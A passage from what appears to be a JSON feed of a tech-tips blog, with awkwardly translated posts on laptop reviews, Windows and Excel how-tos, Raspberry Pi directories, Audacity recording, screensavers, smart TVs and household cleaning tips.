port. Type-A 3.2 and two USB-A 2.0 ports, along with a headphone jack and a microSD card reader. In addition, there are also a lot of color options to choose from: Black, blue, red and white.\nDespite having a spacious 15.6-inch screen, the laptop is only 16.1mm thick and weighs 1.8kg. From the materials used to the colorful lids or the backlighting on the keyboard, what Asus has done in terms of design and style is appreciated here, helping the Asus VivoBook S15 stand out in a crowded market. .\nPerformance and features   The reviewed Asus VivoBook S15 model comes with one of the latest 11th Gen Intel i7-1165G7 processors, which ensures excellent performance and good battery life, as well as 16GB of RAM and a 1TB SSD. Other configurations are available, with less storage, 8GB of RAM and a less powerful 11th Gen Intel i5-1135G7 processor - you can look into if you want to save a bit. Images are handled by the integrated Intel Iris X graphics card.\nIn the case of the i7-powered laptop that the article has tested, the performance is more than enough for daily use. The lack of a dedicated graphics card means that demanding games and large video editing projects will be a bit of a pain, but for everything else, the Asus VivoBook S15 can handle it just fine. This is a clear demonstration of the power of the new 11th generation chips that Intel introduces to manufacturers.\nThe laptop comes with a Harman Kardon certified stereo sound system. Bass (bass) is a bit lacking, but the sound is still crisp and clear at high volumes. That's a plus point for laptops.\nIn terms of battery life, the Asus VivoBook S15 also performed very well, although it didn't break any records. You can comfortably use it for between 7 and 8 hours (this is quite suitable for a laptop of this size). In the standard two-hour video streaming test - at full brightness, at low volume - the laptop dropped from 100% battery to 75%, which equates to about 8 hours of battery life.\nGood design and high aesthetics, eye-catching look and diverse color selection are the first factors that make a good impression on users. The 15.6-inch display is perfect for everything from word processing to binge-watching your favorite series, and despite its large screen size, this laptop has a strong emphasis on portability. It's not bulky at all.\nBesides, the machine is also provided with Intel 11th generation processor and plenty of RAM to handle dozens of browser tabs or dozens of open images. You also have plenty of internal memory for your entertainment, and it's super fast: Transferring large amounts of files is another task that the Asus VivoBook S15 handles with ease.\nWhen everything is considered together, this is about the favorite laptop at the moment. There are other laptops on the market that are more powerful, have better screens, and are lower in price, but for a 15-inch laptop that can do all the tasks you need on a daily basis, the Asus VivoBook S15 is hard to beat. at this mid-range price point, as it offers the perfect balance between price and performance.\nConclude The Asus VivoBook S15 excels in every aspect, from the internal specs to the exterior design. The most suitable laptop depends on one's budget, but at this price, this laptop is an option that is hard to beat.\nAdvantages\nBright, clear 15.6-inch screen Excellent design and build quality Latest Intel processors Defect\nNot the cheapest option available Only 1 screen option 1080p The screen only has an aspect ratio of 16:9 ncG1vNJzZmismaXArq3KnmWcp51krrTB0matoq6fl7ywt4ysaG5loprDqrHWZphmn6KarrV5wqikqaqVnbKvv8ivnGadqKWys7XEp5qe\n","link":"/post/asus-vivobook-s15-review-a-great-comprehensive-experience/","section":"post","tags":null,"title":"Asus VivoBook S15 review: A great, comprehensive experience"},{"body":"The environment is increasingly polluted, causing mosquitoes and insects to multiply and flourish. If you accidentally get bitten by a mosquito, it will cause very dangerous dengue fever. So many companies have produced mosquito catchers to serve the needs of users such as Seoul Viosys mosquito catch lamps, Kill Pest mosquito catch lamps, Mosquito catch lamps, Hando mosquito catch lamps, Mosquito catchers Well . These are reputable brands specialized in producing mosquito catchers to help use for safety.\nHowever, after a while using mosquito-catching and insect-killing machines will get dirty. At this point you need to carry out mosquito repellent cleaning to bring the best mosquito catching effect.\nInstructions to clean the lamp catch mosquitoes properly Step 1:\nBefore cleaning the lamp catch the mosquito you need to unplug it from the power source to avoid electric shock, danger.\n  Need to equip a soft towel, brush and water basin.\n  First, open the bottom cover (also known as the mosquito trap tray). Empty the mosquitoes into the trash. Then remove the cup into a lamp shell.\n  Step 2:\nNext use a broom to clean the mosquitoes at the bottom of the bottom, mosquitoes sticking on the grid, sweep away the dirt from the light bulb. Clean the parts of the lamp and the lamp cover with a damp cloth.\n  Step 3:\nDry the parts of the lamp with a dry towel. Then reassemble those parts into the correct position that you removed. Now your mosquito lamp is clean like new.\n  Things to keep in mind when cleaning mosquitoes and killing insects Need to clean mosquito catch lamp regularly to increase product durability. If used continuously, 2-3 days should be cleaned. Or when seeing mosquitoes in the tray too much, pour them right away to avoid the mosquitoes getting into the grid or the bottom of the lamp will be more difficult to clean.\nEach lamp catches mosquitoes will have different designs. However, mosquito lamp has a simple structure so it is easy to remove.\nWhen cleaning the mosquito catcher, gently remove the operation to avoid damaging the lamp or cracking the casing.\nIf the lamp cover or bottom cover is too dirty, you can use dishwashing liquid to clean.\n3 best mosquito lamp patterns for families 1. Mosclean Violeds IS1 - Mosquito repellent and insecticide - Reference price: 685,000 VND The operating capacity is 4W which is very energy efficient. The compact size of 200mm x 232mm helps to set power saving usage. High quality plastic case, safe for health. Attract mosquitoes with light pulses and dry mosquitoes to death. Voltage source: DC 12V SMPS, 100V - 240V Warranty: 24 months Made in China Brand: Korea    2. Versatile mosquito killer lamp CM048 - Reference price: 169,000 VND Capacity: 3W Size: 21cm x 15cm x 15cm Voltage source: 220V Warranty: 6 months Made in China Brand: Vietnam    3. Mosquito catcher Tower - Reference price: 139,000 VND Advanced plastic materials Capacity: 3W Size: 12cm x 12cm x 27cm Voltage source: 220V Product weight: 600g Made in: Hong Kong Brand: Vietnam Warranty: 6 months   Hopefully this article will help you clean the mosquito catcher properly to increase the durability as well as the mosquito's catch efficiency.\nncG1vNJzZmismaXArq3KnmWcp51ksK2xwKdkpqejpsKqwM5mmpqsk52ys7%2BMrKCmqJyueri106FkbGWjqbKxvw%3D%3D\n","link":"/post/clean-mosquito-catchers-simply-with-3-steps/","section":"post","tags":null,"title":"Clean mosquito catchers simply with 3 steps"},{"body":"MSI GT660 16-inch screen with HD standard resolution and 2.1 speaker unit developed by Dynaudio, a hi-end audio company.\nGT660 is equipped with 16 inch screen with HD standard resolution and hardware including Intel Core 7 quad-core processor, maximum memory of 12GB, 1TB hard drive (2 500GB drives), card NVIDIA GeForce GTX 285M graphics with 1GB VRAM. This model also owns two latest USB ports 3.0, HDMI port and 9 cell battery included.\n[youtube] http://www.youtube.com/watch?v=qepkBA5Rn_k\u0026amp;feature=player_embedded [/ youtube]\nMSI GT660 is also the first model to integrate MSI's Turbo Drive Engine + (TDE +) technology. When enabled, this technology will help double the processor processing power, RAM and graphics card by the manufacturer.\nThere is currently no price and official launch date for this product.\n  MSI GT660 \" underground \" LED system.\n  Right side with 2 USB 3.0 ports.\n  Left tap.\n  Keyboard with strong design and Dynaudio speaker system.\n  MSI GT660 has a 16 inch screen.\nncG1vNJzZmismaXArq3KnmWcp51ktKK5yKeeZqSRpcGwvNJmrKydXaLAqnnBq5innF2jrq6xjKynnpmbmr%2B0\n","link":"/post/gaming-laptops-use-msi-brand-name-speakers/","section":"post","tags":null,"title":"Gaming laptops use MSI 'brand name' speakers"},{"body":"The Linux file system is very specific and can be confusing to the new user of the system. Where are your files? Why are there so many folders and subfolders?\nThe goal of today's article is to give you an overview of the file system on your Raspberry Pi (as well as on any Linux device).\nRaspberry Pi file system Linux file system The first thing to understand is that the Raspberry Pi does not use a specific file system tree, it is a standard from the Linux Foundation called ' Filesystem Hierarchy Standard ' or FHS.\nSo you will basically find the same hierarchy on any Linux distribution.\nFor those interested in this, you can find all of the information in the article: Understanding file and directory systems on Linux operating systems.\nLinux tree Most of the common mistakes come from misunderstandings. So, as said before, you can view the file hierarchy as a tree, with / as the root directory and each subdirectory as a new branch.\nIn this figure, I have shown it more like an organization chart.\nFile hierarchy in the form of trees The colored boxes are directories and the white is the file. At the top there is the root directory: /.\nThen, home and etc are subdirectories, the two big branches pi and user2 are subdirectories from home , and the passwd and hosts are the two files in etc.\nFor example, the file location is specified as / etc / passwd. Since / and etc are directories where you can find files, you can add \u0026nbsp;/ for each subdirectory and filename at the end.\nAnother example: /home/pi/Documents/MyDoc.doc. You have to go through /, home, pi and Documents to find it from the root directory.\nFile system format Actually, Raspberry Pi Foundation uses the boot partition in FAT format (good news for Windows users, as you can read and write on it) and Linux format for primary partition (possibly EXT4) .\nYou have the information, but nothing can be done with it, because the format is included in the image file and you cannot control it.\nThe most useful directories to know / home Home is a short version of \"home directories\". It contains a subdirectory for each user (eg / home / pi ).\nEach user folder contains personal data, like preferences, documents, downloaded files, etc.\nOn Raspberry Pi OS Desktop, you will get many subfolders by default under / home / pi:\nVideos Downloads Music Pictures Desktop At this point, it's actually close to Windows.\n/ root / root is the same as / home for admin users. Basically, we don't use it on the Raspberry Pi. However, if you are logged in with root privileges, you will go to this directory, as the home directory.\n/ etc Etc contains all the configuration files. There are several possible explanations for this name, but perhaps the Editable Text Configuration is the most appropriate.\nThere are several files available directly in / etc, for example:\n/etc/resolv.conf: If you want to change DNS server / etc / crontab: To schedule a task / etc / sudoers: To manage users with sudo privileges And for more complex configurations, you'll often find a specific subfolder for them:\n/ etc / apache2: If you use apache as a web server, this directory contains all the configuration files / etc / ssh: same for SSH client and server / etc / php: Same thing for PHP If you're looking for a configuration file, it might be somewhere in / etc.\n/ var Var stands for \"Variable files\". It means that files are modified during program execution (eg log file).\nHere are the most common subfolders you need to know:\n/ var / log: Contains all system log files / var / www: Will be used as soon as you install the web server, which is the root directory of the web server (public files need to be in / var / www / html ). / var / lib / mysql: Same thing for MySQL server, it contains all the database files. In general, other database engines also have their files somewhere in / var / lib. / var / mail: File mailbox / usr / usr mainly contains application files that you do not need to touch (like binaries and libraries). Saving scripts in a directory like / home / pi / scripts is probably a good idea.\n/ bin / bin is something similar for the required command binaries. There are no subdirectories in this directory, only binaries like ping, cp / mv / rm or nano\nIn fact, these are the only available binaries when you boot in single-user mode. Any user can use them.\n/ opt / opt stands for optional and it is mainly used for optional application packages.\nFor example, if you install AlexaPi on your Raspberry Pi, the documentation guides you to download the files here, then you use the binary from / opt / AlexaPi.\n/ media and / mnt / media and / mnt are optional but you will probably use them using USB.\nIn theory, / mnt is for a temporarily mounted file system and / media for removable media. So with USB you will create a directory such as / media / usb and mount it in this directory.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ2mnqtdqbWmedGaqqmalae%2FunnPomSfoZyaerTF0q2cpmWnpL%2Bs\n","link":"/post/how-does-the-raspberry-pi-file-system-work/","section":"post","tags":null,"title":"How does the Raspberry Pi file system work?"},{"body":"Peripheral accessories such as mice, keyboards, headphones, speakers, etc. supporting Bluetooth wireless connection are being used more and more popularly. This article will show you how to turn on Bluetooth on Windows 11 to connect to wireless accessories with just a few simple steps.\nTurn on Bluetooth using the Quick Settings Menu The fastest method to enable Bluetooth in Windows 11 is to use the Quick Settings quick settings menu. Access this menu by clicking on the set of indicator icons located directly to the left of the date and time entry in the taskbar in the corner of the screen.\n  Immediately the Quick Settings menu will appear. You find and click on the Bluetooth icon, which looks like a stylized ' B ', as shown below.\n  (In case you don't see the Bluetooth button or icon appear here. Click the pencil icon then tap ' Add ' then select 'Bluetooth' from the list.)\nAfter you click the Bluetooth icon, the button will change to blue, indicating that the Bluetooth signal is enabled. To make a connection, right click on the Bluetooth button, select ' Go to Settings ' then find the available device.\n  Turn on Bluetooth using the Windows Settings app You can also turn on Bluetooth from the Windows Settings app. First, open the Settings app by pressing Windows + i on your keyboard, or open the Start menu, search for the keyword ' settings ', and then click the return gear icon.\n  In the Settings interface that opens, find and click on the ' Bluetooth \u0026amp; Devices ' item .\n  In the Bluetooth settings, turn the switch next to ' Bluetooth ' to the ' On ' position .\n  Bluetooth is enabled and you can start pairing the device.\nPairing Bluetooth Devices on Windows 11 Bluetooth is enabled, it's time to connect your wireless peripheral to your Windows 11 PC.\nOn the ' Bluetooth \u0026amp; Devices ' section view (in the Settings menu), click the ' Add Device ' button with the big plus sign (' + ') in the middle.\n  In the ' Add a Device ' window that pops up, click ' Bluetooth '.\n  Next, make sure that the device you are trying to connect to is powered on and in pairing mode.\nWindows will enter search mode for nearby available devices. These devices will appear in a list that appears on the screen. When you see the device you want to connect to, click its name in the list.\n  If it is a mouse, gamepad or headset, the device will automatically connect. If it's a keyboard, Windows 11 may show you the passcode. Enter that passcode on the Bluetooth keyboard you're trying to connect to.\nWhen you see the message ' Your device is ready to go ', it means your Bluetooth device is already connected to your PC. Click ' Done '.\n  After that, close Settings and start the experience.\nHope you are succesful.\nWindows 11 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYyapZ1lk6S7r7HCrWSbpKWawbC706FkqKZdrLavsM6wqmZpYQ%3D%3D\n","link":"/post/how-to-enable-and-connect-bluetooth-on-windows-11/","section":"post","tags":null,"title":"How to enable and connect Bluetooth on Windows 11"},{"body":"Galaxy S9 / S9 Plus duo launches users to bring advanced technology products, with unique designs and attractive features. However, in the process of using the device, users will also encounter some errors. These errors often relate to the software of the machine and are easily corrected through customization on the system, or through updates. The following article will summarize some common errors on Galaxy S9 / S9 Plus as well as how to fix these problems.\n5 settings you should change on Galaxy S9 / S9 + How to turn on Recovery Mode and Download Mode on Galaxy S9 / S9 + Summarize interesting tips on Galaxy S9 users should not ignore Fix errors on Galaxy S9 / S9 Plus 1. Touch screen is paralyzed Many users reflect the touch screen on Galaxy S9 / S9 Plus often at \"dead\" times, not working, making it difficult to control, such as touch or swipe, or a strip from the side one to the other.\nThe only solution is to contact the vendor's warranty center to find a solution for the device.\n  2. Samsung Pay application does not work Samsung Pay is an application to pay by phone and e-wallet on high-end Samsung models. However, when using Samsung Pay on S9, some users have to use the unused application status with the application notification that is not compatible with the device.\nTo fix this Samsung Pay application error on Galaxy S9, please update Samsung Pay application to the latest version. If not, or uninstall the application, then reinstall Samsung Pay.\n   3. Error recording video with Slow-Motion mode How to create slow-motion video with Super Slow Motion on Galaxy S9 The Slow-Motion mode on Galaxy S9 when recording video reflects a light error, the screen becomes darker than other shooting modes. Currently, light errors on Slow-Motion mode do not occur frequently but will also affect device experience.\nCurrently, Samsung still has no direction to fix the Slow-Motion mode when recording video. The advice for the user is to choose where to shoot with sufficient lighting conditions. Hopefully in the near future, manufacturers will quickly find remedies.\n  4. Error recording call Currently, according to many records, the call recording error only occurs with the Galaxy S9 international version with Exynos 9810 processor. This error occurs so that users cannot record the voice of the enemy but can only record sound your voice.\nThis is not a serious error related to software or hardware, but is due to limited functionality under Google's privacy policy and EU law. Hope Samsung will quickly solve this problem.\n  5. Error blurring with black background When you open or access the black background interface, the screen will be blurred due to the mismatch of colors with the image. This phenomenon occurs more frequently on Galaxy S9 Plus and only occurs when the screen light is below 40%.\nTo improve this error, users can install Screen Balance app to balance colors on the screen.\nDownload the Screen Balance app   Above are some common errors that occur on Galaxy S9 / S9 Plus device. If you are unable to fix these problems, or are not familiar with the technology, it is best to bring the device to Samsung service centers.\nSee more:\nGalaxy S9 and S9 +: Things to know about this latest flagship of Samsung Create unique Emoji shapes on Samsung Galaxy S9 These are opponents of Galaxy S9 and their weapons Hope this article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqku8ympqdllae%2FsL7SZqanZZeWuaLE2GaqcmWjbnqxuNSs\n","link":"/post/how-to-fix-common-errors-on-galaxy-s9-s9-plus/","section":"post","tags":null,"title":"How to fix common errors on Galaxy S9 / S9 Plus"},{"body":"This is the Watch Window tool in Excel, which has the ability to manage Excel formulas in 1 window, along with the displayed results for us to know immediately. Thus users will be more flexible in managing Excel data tables. The following article will guide you to use the Excel formula tracking window.\nInstructions for using the formula window in Excel Step 1:\nFirst highlight the entire data table. At the interface in Excel we click on the Formulas item in the Ribbon and then look down at the group below, click on Watch Window .\n  Step 2:\nDisplay the window interface, we click the Add Watch button .\n  Immediately then display the data area that we highlighted earlier, click the Add button to agree.\n  Step 3:\nAs a result, we will see all the data in the table put into the monitoring window as shown below. Each data is divided into different columns, depending on what type of data it is. Here you can view the formula through the Formula cell and the result of the formula right next to it.\n  \nThe interface of this window will continuously display on the data sheet. You can attach this management window to the formula bar by double-clicking the gray area in the management window.\nTo return to the minimized interface, move the window out of the formula bar.\n  Step 4:\nIn this interface you can also delete data by clicking on it and pressing Delete Watch. To turn off the window interface, click Watch Window again or always click on the X icon and you're done.\n  \nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqegmrtuwMeeZJ%2BnoqLCra2MppinmZeauqa602auoqaUpMRutc1mnLGblaE%3D\n","link":"/post/how-to-open-the-formula-management-window-in-excel/","section":"post","tags":null,"title":"How to open the formula management window in Excel"},{"body":"To record audio on a computer, we can use the Sound Recoder feature. However, this tool is extremely simple, there are not many options besides recording audio from the microphone. If you want more customization for audio, you can use computer recording software like Audacity.\nAudacity is basically audio recording and recording software on computers, but there are many other options to edit sounds, such as filtering sounds from noise, editing music, etc. Besides, the tool also supports Export multiple audio file formats. The following article will guide the use of Audacity for recording on computers.\nHow to extract the lyrics from the music to get the beat Karaoke software on quality computers Top 10 best audio and audio converter software available today 1. How to use Audacity to record audio Step 1:\nDownload the Audacity software for your computer according to the link below and then proceed with the installation.\nDownload Audacity software Step 2:\nIn the interface of the program, click the red dot icon to record on the computer.\n  If the user clicks on Transport and clicks Record, there will be options including Record New Track (Record a new recording), Timer Record (Record time for the recording), Pause (Stop recording).\n  Step 3:\nThe audio recording process will take place shortly thereafter. To pause recording, click the Pause icon, if you want to stop recording, press the Stop icon.\n  To listen to the recorded sound, click the blue Play icon to listen.\n  Step 4:\nAfter you've finished recording, click on File, select Export, then click Export Audio . to save the audio. Or users can press Ctrl + Shift + E to do it quickly.\n  Step 5:\nThe interface saves the recorded audio file. By default Audacity software will support saving audio files in wav format. You can choose to save it to another format, depending on your needs.\nSelect sound quality and then click Save to save.\n  Then will display Edit Metadata Tags interface to add content for audio files such as artists, sound file names, albums, . Click on the Add button and then click the Save button to save.\n  Access the Audacity folder and you will see the newly saved audio file.\n  With mp3 audio file is also supported to save as usual.\n  2. Error when saving mp3 file on Audacity Many people, when saving the recorded file to mp3 format, have the following error, require the lame_enc.dll file.\n  Step 1:\nUsers access the link below and then scroll down to download Lame software.\nhttps://lame.buanzo.org/   Step 2:\nRun the software on the computer as usual.\n  The Lame For Audacity folder will be in the C / Program Files drive . Users must not change this default folder of the software.\n  In this directory there will be the lame_enc.dll file. When you report an error in saving the mp3 file on Audacity, you just need to click the Browse button and find the directory containing the lame_enc.dll file.\n  Then we continue to save the mp3 file as usual.\n  See more:\nHow to manage and improve sound quality in Windows 10 Instructions for setting up and installing Microphone on computer How to use FXSound to improve PC sound quality I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLyzsIyuqqKml2KutrDAnKCtsV2ku26tjJympqilqbKz\n","link":"/post/how-to-record-using-audacity-on-a-computer/","section":"post","tags":null,"title":"How to record using Audacity on a computer"},{"body":"For those who are used to Facebook, it is not difficult to replace Facebook cover photo (cover) but for beginners, there will be some embarrassment. Today, TipsMake.com will guide in detail the steps to replace 1 new cover photo for Facebook.\n6 good tips for Facebook Tips to change the look for Facebook How to change the color of Facebook interface? Step 1 : You login to your Facebook account and go to the personal page\n  Step 2 : Hover over the cover image, click on Add Cover Photo . There will be 3 options for you here\nChoose From My Photos : Allow you to choose from the photos uploaded to Facebook Add Syned Photo : Allows you to add synced photos Upload Photo : Allows you to upload photos from your computer Here, we choose Upload Photo\n  Step 3 : New window opens, you can choose any image from your computer (size usually from 800x400 or more will be clear)\n  Step 4 : Wait for the cover image to load, you proceed to adjust the position for balance and click Save Change to save\n  And this is the result\n  Above are all steps for you to have a new cover photo for Facebook. Very fast, isn't it?\nHope the article will be useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVpbmir8RmnZqblZe8sLeMnKavnaJivam706g%3D\n","link":"/post/how-to-replace-facebook-cover-photo/","section":"post","tags":null,"title":"How to replace Facebook cover photo?"},{"body":"TipsMake.com - The chart is a very effective way of displaying data in calculation or statistics programs, especially Microsoft Excel. In the tutorial below, we will cover the basic operations to create a chart from the data table in Excel 2007 or 2010 version.\nFirst, we need a statistic data sheet calculated in% as shown below:\n  Select which pieces of information to list in the chart, you can select individual components, but remember not to select the total. Then, click the Insert\u0026gt; Pie button, where we will have a separate choice between 2D and 3D charts:\n  Shortly thereafter, the chart will display on the text. The next thing to do is to change or customize a set number to increase efficiency. Choose the chart you just created and click Chart Tools, which includes 3 main items: Design , Layout , and Format :\n  The corresponding functions in the Chart Tools section :\n  Depending on the data table and the desired presentation, please choose to set it up as you like. Of course, in the first practice, the results will not be as expected. Below is a sample of our test:\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabopqutbXNoGScoJGnwbR5yKdknrCTmrlufo9pbmanomJ%2FcX2P\n","link":"/post/instructions-for-creating-charts-in-excel-2007-or-2010/","section":"post","tags":null,"title":"Instructions for creating charts in Excel 2007 or 2010"},{"body":"TechSmith's Camtasia includes fast, efficient video recording capabilities and is the most professional way of editing videos. In contrast, Snagit is the preferred tool to take screenshots and edit these images or edit video clips.\nIntroducing Camtasia and Snagit TechSmith's Camtasia includes fast, efficient video recording capabilities and is the most professional way of editing videos. Creating videos for learning or video blogging, just the editor (editor) of Camtasia is enough.\nCamtasia is available for both Microsoft Windows and Macintosh. Free trial version for 30 days, then you will have to pay $ 299 for Camtasia for Windows version and $ 99 for Camtasia version for Mac.\nDownload Camtasia version for Windows here. Download Camtasia version for Mac here. In contrast, Snagit is the preferred tool to take screenshots and edit these images or edit video clips. Snagit's ability to record videos is limited, so this tool only modifies videos. Snagit provides an extremely simple interface for users to create screenshots or screencast and share these images easily. The license of Snagit is available, the version for Windows and Mac costs $ 49.95.\nDownload Snagit version for Mac here. 1. Purpose of use As mentioned above, Camtasia includes fast, effective video recording capabilities and a professional video editing method. Suppose you are creating a tutorial video on your YouTube channel and want to edit 2 videos - 1 video from screen capture and 1 video from camera. You can do all this with Camtasia.\nThe tool has all the features you need to edit videos in the most professional way. Not only that, Camtasia is also used to insert interactive information and elements into videos, such as captions and other content.\n  When it comes to Snagit, even though the tool focuses heavily on screen capture, the tool is also integrated with useful features for video recording. After capturing the screen image with Snagit, you can launch the official editor to add interactive elements and information to it.\nAlso Snagit also integrated sharing capabilities, allowing you to be able to share images, . easily. So Snagit is a useful tool for taking screenshots and modifying these images.\n  2. User interface Regarding the user interface, both tools are Camtasia and Snagit have easy-to-use and professional interfaces. However, from the point of view and evaluation of many users, Camtasia's interface is more eye-catching, more professional and easy to use and has more features.\nConversely, if you want to take photos or record screen images quickly, Snagit's interface is easier to use.\n  In short, choosing Camtasia and Snagit depends on your requirements and work. If you want to take screenshots, record videos and share photos and videos for friends or relatives, Snagit is the perfect choice for you. Conversely, if you want to edit professional videos, Camtasia is your choice.\n  Refer to some of the videos below: Match unique photos with FotoRus and SNOW apps Instructions for deleting a video on YouTube Instructions on how to edit videos right on iPhone and iPad Wish you have moments of fun!\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFur8Cmq5qrmZZ6orrDZqqnmZeewQ%3D%3D\n","link":"/post/learn-about-camtasia-and-snagit/","section":"post","tags":null,"title":"Learn about Camtasia and Snagit"},{"body":" Removing 502 glue on the skin is extremely simple Discovering 20 great uses of Coca Cola you may not know 16 tips to help your life rise to a new level White shirt is a familiar and favorite outfit of many people. However, a disadvantage of white shirt makes many people feel afraid, do not dare to wear a white shirt that is easy to reveal stains and it is difficult to completely clean stains on it, especially sticky from real types products like chili sauce, ketchup, kimchi, colored food . At this time, do not rush to discourage and throw it in the cupboard, because there is an extremely simple way that can help you solve A thorough resolution of this problem is to use an onion.\nHow to remove stains on white clothes with onions:\nPerhaps it was due to hurried eating or the fact that you dropped a piece of kimchi on your shirt. This stain from this food is often difficult to bleach in the usual ways.\n  Now you stand too worried and take it to reap immediately with soap, because it's hard to clean. In this situation, you should use an onion, using a blender or minced onion.\n  Now you just need to put onion water on that stain, so you can cook it overnight.\n  By the next morning, bring your normal laundry jacket. After the soaking process, stains will dissipate completely as never existed on your shirt.\n  With this simple method of onion, you will not be afraid of the white shirt being thin by using strong detergent and also not afraid of unpleasant smell. Onions are also cheap and easy to find, so from now on there is no worry about dirty white clothes and no washing.\nHope you are succesful.\nncG1vNJzZmismaXArq3KnmWcp51kwLWtyKdknaGiqXqwuoywn6KslWKwsK3TZpyfnpWYwarCxKWwZqeeocZuu82ipqc%3D\n","link":"/post/stain-dirt-on-white-coat-effectively-only-onion/","section":"post","tags":null,"title":"Stain dirt on white coat effectively only onion"},{"body":"Steps to create screensavers in Windows 10 Step 1. Arrange the desired screensaver images in a folder of your choice (or use the default My Pictures folder).\nStep 2. Right-click anywhere on the desktop to access the Personalize applet. Select the Lock Screen tab and then go into Screen saver settings.\nStep 3. In the window that opens, select Photos from the drop-down menu. To choose a source other than My Pictures, go to Settings \u0026gt; Browse and choose a different location before clicking Save.\nStep 4. Configure the settings according to the given options, click OK or Apply and your first homemade screensaver is ready to go.\nSteps to create screensavers in Windows Vista The process of creating screensavers on Vista is similar. Follow these steps to find tools that turn your photos into screensavers.\nStep 1. Right click and go to Personalize \u0026gt; Screen Saver \u0026gt; Settings.\nStep 2. Select Photos from the Screen Saver menu.\nStep 3. The Settings section of the screensaver will allow you to further customize:\nYou can have a lot of media content, but there are ways you can customize what you do and don't want to see with a few easy clicks.\nTo show only photos with a specific tag, enter the tag in the With this tag box associated with the photo. To show only photos with a specific rating, click the star rating on the With this rating or higher list. To apply the slide show theme to the screensaver, select a theme from the Use this theme list. To play photos and videos in random order, check the Shuffle contents box. Steps to create screensavers in PowerPoint We all get high impact motivational PowerPoint attachments in our inbox from time to time. You can turn them into attractive screensavers quite easily with the help of PowerPoint 2021. Here's how to create screensavers from slideshows:\n  Step 1. Open the presentation that will become your screensaver in PowerPoint 2021.\nStep 2. Click File \u0026gt; Save As to open the Save As window.\nStep 3. Through the Save As window, select an empty folder or create a new folder to hold the PowerPoint images.\nStep 4. Enter any filename you want. In the Save As Type drop-down menu, scroll down to select any image format (GIF, JPG, TIFF, PNG, BMP). Click Save.\nStep 5. PowerPoint provides an option to save all slides or just the current slide as an image. Select an option to end this part of the process.\nStep 6. Then screensavers can be activated using the Personalization tab \u0026gt; Locks Screen \u0026gt; Screen saver settings as mentioned earlier. Remember that this method does not retain any of the animations, transitions, and embedded media that were present in the original PowerPoint slide.\nSteps to create screensavers with Google Photos Google Photos has replaced Picasa as one of the best free photo management apps out there, and it has a nifty feature that lets you create and download slideshows.\n  Step 1. Open Google Photos and click the Photos tab.\nStep 2. In Photos, select the picture you want in the screensaver.\nStep 3. Click the Add to or create new plus icon at the top, then click Animation.\nStep 4. When Google Photos shows you the slideshow, go straight to More options \u0026gt; Download.\nStep 5. Set the downloaded GIF file as a screensaver and you're done.\nSteps to create screensavers with Finalhit If you are wondering how to create screensavers with specialized software, check out what Finalhit has to offer.\n  It's an app you can download and use to design screensavers that are a bit more detailed than the standard Windows options. It comes with a free trial, so you can try it out before you decide to buy.\nHere's how to create your own screensavers with Finalhit:\nStep 1. Launch Finalhit and select desired image, video, audio or text.\nStep 2. In all these tabs you will find the Add button. Use it to upload the files you want.\nStep 3. Adjust the settings of each element, which may include pause options, duration, size, etc….\nStep 4. Click the Effects tab and select any options you want.\nStep 5. When ready, click the Create button and use the file as a screensaver.\nSteps to create screensavers with Blumentals Another downloadable app to consider is Screensaver Factory by Blumentals. It works like Finalhit, including a free trial, but with a clean interface and more tools, especially for professional users.\n  For example, in addition to photos, animations, and sounds, you can add shapes, background patterns, and promotional features to market your brand.\nHere's how to put all of this into a cool new screensaver:\nStep 1. Launch Blumentals and click the New Project button.\nStep 2. Use the Add or Add folder buttons to bring in all the audiovisual elements you need.\nStep 3. Customize everything via the Properties button, as well as the menu in Options.\nStep 4. Click Create Screensaver to save the finished project on your computer.\nscreensavers ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddmL%2BmrdOeZLKnpad6sMPNZqqcqpWau7St1Z6prGWZo3q4tc2dprCr\n","link":"/post/steps-to-create-your-own-screensavers-in-windows/","section":"post","tags":null,"title":"Steps to create your own screensavers in Windows"},{"body":"Smart TVs and Internet TVs are two lines of television that have become popular in the world market. Basically, these two types of TVs can be connected to the Internet so users can surf the web, watch YouTube videos or even log in to Facebook right on the TV. Precisely this pretty similarity, many people have confusion between these two types of TV and think that they are all one.\nHowever, these two TV sets are completely different. Each type of television will have its own characteristics to suit the needs of each user, each family. So what is the difference between Smart TV and Internet TV?\n1. What is Internet TV? Simply understood Internet TV is a type of TV capable of connecting the Internet via WiFi or RJ45 port . Besides showing off like a regular TV, Internet TV can also access websites when connecting to a network, watching movies, listening to music, watching Youtube videos, etc. similar to when accessing the Internet. on the computer.\nUsers will use the controls to enter the content you need in the search bar, depending on the different TV companies. In addition, Internet TV has VOD service with the ability to review any previously broadcasted program on the Internet, without depending on the broadcast time of the TV stations.\n  Currently on the market there are 2 types of Internet Television:\nInternet TV has operating system : there are many TV series that now use the operating system on TV to expand the app store. Internet TV does not have an operating system : only supports some basic applications such as Youtube, Chrome, Zing, Facebook, . 2. What is Smart TV? Smart TV is like a miniature smartphone with Ram , the operating system with different interfaces for each TV company such as LG's WebOS TV, Sony's Android TV, Sharps, . Smart TV is also capable of connecting to the Internet like Internet TV, via WiFi or LAN cable. With Internet connectivity, we can go online, watch Youtube videos, access Facebook, Twiiter.\n  Right on the screen of Smart TV also displays the content of network access so that users can easily access. Currently some smart TVs are also provided with the ability to connect with other devices such as phones and computers through connection forms such as DLNA, each company's application.\n  Application store on Smart TV is rich when you can search on the app store, or from the supplier. You can easily play games on TV with the ability to control TV through voice, even gestures or facial expressions, .\n3. What is the difference between Smart TV and Internet TV? Although there is a common Internet connection, Smart TVs are much more advanced than Internet TVs.\nSmart TVs have a smart processor, which enables users to perform tasks like smarpthone. Therefore, only Smart TVs can install other applications . As for Internet Television, you can only use the applications available on the TV provided .\n  One more feature is that the Internet TV limits the ability of users to interact with the TV, compared to the Smart TV series. With Smart TV, we can control the TV right on the computer or the phone, control the TV via voice or face. However, it must be noted to users that the interface and features of Smart TV are more complicated than Internet 